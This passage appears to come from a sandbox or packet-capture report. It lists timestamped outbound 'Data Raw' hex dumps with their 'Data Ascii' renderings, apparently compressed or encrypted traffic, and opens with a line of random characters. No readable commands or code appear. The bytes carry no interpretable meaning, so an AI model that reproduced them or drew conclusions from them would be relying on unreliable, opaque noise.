G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:11 UTC	6073	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:11 UTC	6089	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:11 UTC	6105	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:11 UTC	6121	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:11 UTC	6137	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:11 UTC	6153	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:11 UTC	6169	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:11 UTC	6185	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:11 UTC	6201	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:11 UTC	6217	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:11 UTC	6233	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:11 UTC	6249	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:11 UTC	6265	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:11 UTC	6280	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:12 UTC	6296	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:12 UTC	6312	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:12 UTC	6328	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:12 UTC	6344	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:12 UTC	6360	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:12 UTC	6376	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< 